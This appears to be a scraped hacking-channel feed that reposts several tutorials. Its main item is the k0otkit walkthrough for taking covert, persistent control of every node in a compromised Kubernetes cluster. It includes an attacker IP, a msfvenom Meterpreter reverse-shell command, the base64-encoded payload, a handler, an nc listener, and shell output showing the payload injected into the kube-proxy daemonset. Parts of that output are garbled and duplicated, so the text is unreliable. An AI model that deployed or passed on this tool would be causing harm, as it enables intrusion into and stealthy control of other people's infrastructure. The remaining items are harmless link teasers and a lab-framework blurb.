Hacking Articles Tips Tricks Videos Tutorials

Beginners Guide to Bug Bounty

This guide will give you an idea on how to start out in bug bounties if you’re new to the topic.Continue reading on Medium »
Read more...

5 views07:39

5 views07:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
K0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters

k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.

With k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).

k0otkit is the combination of Kubernetes and rootkit.

Prerequisite:

k0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).

Scenario:

* After Web penetration, you get a shell of the target.
* If necessary, you manage to escalate the privilege and make it.
* You find the target environment is a container (Pod) in a Kubernetes cluster.
* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).
* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.
* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!

k0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)

Make sure you have installed Metasploit on your attacker host (msfvenom and msfconsoleshould be available).

Deploy k0otkit

Clone this repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Replace the attacker’s IP and port in pre_exp.shwith your own IP and port:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Generate k0otkit

./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:

./handle_multi_reverse_shell.sh

Once the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.

Wait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png

P.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.

Interact with Shells

After the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)
* dynamic container injection
* communication encryption (thanks to Meterpreter)
* fileless ExampleGenerate k0otkit:

kali@kali:~/k0otkit$ ./pre_exp.sh

* ATTACKER_IP=192.168.1.107
* ATTACKER_PORT=4444
* TEMP_MRT=mrt
* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d ‘\n’
++ base64 -w 0
* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

K0Otkit : Universal Post-Penetration Technique Which Could Be Used

k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.

5 viewsedited 07:59

Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials K0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. With k0otkit…

wMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
*

Run the reverse shell handler:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[] Exploit running as background job 0. [] Exploit completed, but no session was created.

Copy the content of k0otkit.shinto your shell on the master node of the target Kubernetes and press :

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 …
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ containers:/{print NR}’)
volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’)
image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’)
create payload secret
cat <<&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \ containers:/{print NR}’)oxy -o yaml | awk ‘/ root@victim-2:~# root@victim-2:~# volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’) root@victim-2:~# root@victim-2:~# image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’) root@victim-2:~# root@victim-2:~# # create payload secret root@victim-2:~# cat <<&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \
kubectl replace -f –
daemonset.extensions/kube-proxy replaced Download

___________________________
@hacking_Attack
@Hacking_Video

5 viewsedited 07:59

Hacking Articles Tips Tricks Videos Tutorials

5 views07:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
Labtainers : A Docker-based Cyber Lab Framework

Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises.

* Consistent lab execution environments and automated provisioning via Docker containers
* Multi-component network topologies on a modestly performing laptop computer
* Automated assessment of student lab activity and progress
* Individualized lab exercises to discourage sharing solutions

Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student’s computer. Labtainers run on our [VM appliance][vm-appliancee], or on any Linux with Dockers installed. And Labtainers is available as cloud-based VMs, e.g., on Azure

See the Student Guide for installation and use, and the Instructor Guide for student assessment. Developing and customizing lab exercises is described in the Designer Guide. See the Papers for additional information about the framework. The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at https://nps.edu/web/c3o/labtainers.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Labtainers : A Docker-based Cyber Lab Framework

Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system

9 viewsedited 07:59

Hacking Articles Tips Tricks Videos Tutorials

7 views08:40

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
You Better Watch Out: Your iPhone Can Get A Virus From Safari

https://cdn-images-1.medium.com/max/1024/0*v1zPqs-WW7i6LGRn.jpg
It’s possible that you’ve heard that an iPhone cannot get a virus, but this is untrue and the result of former deceptive marketing by…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

You Better Watch Out: Your iPhone Can Get A Virus From Safari

It’s possible that you’ve heard that an iPhone cannot get a virus, but this is untrue and the result of former deceptive marketing by…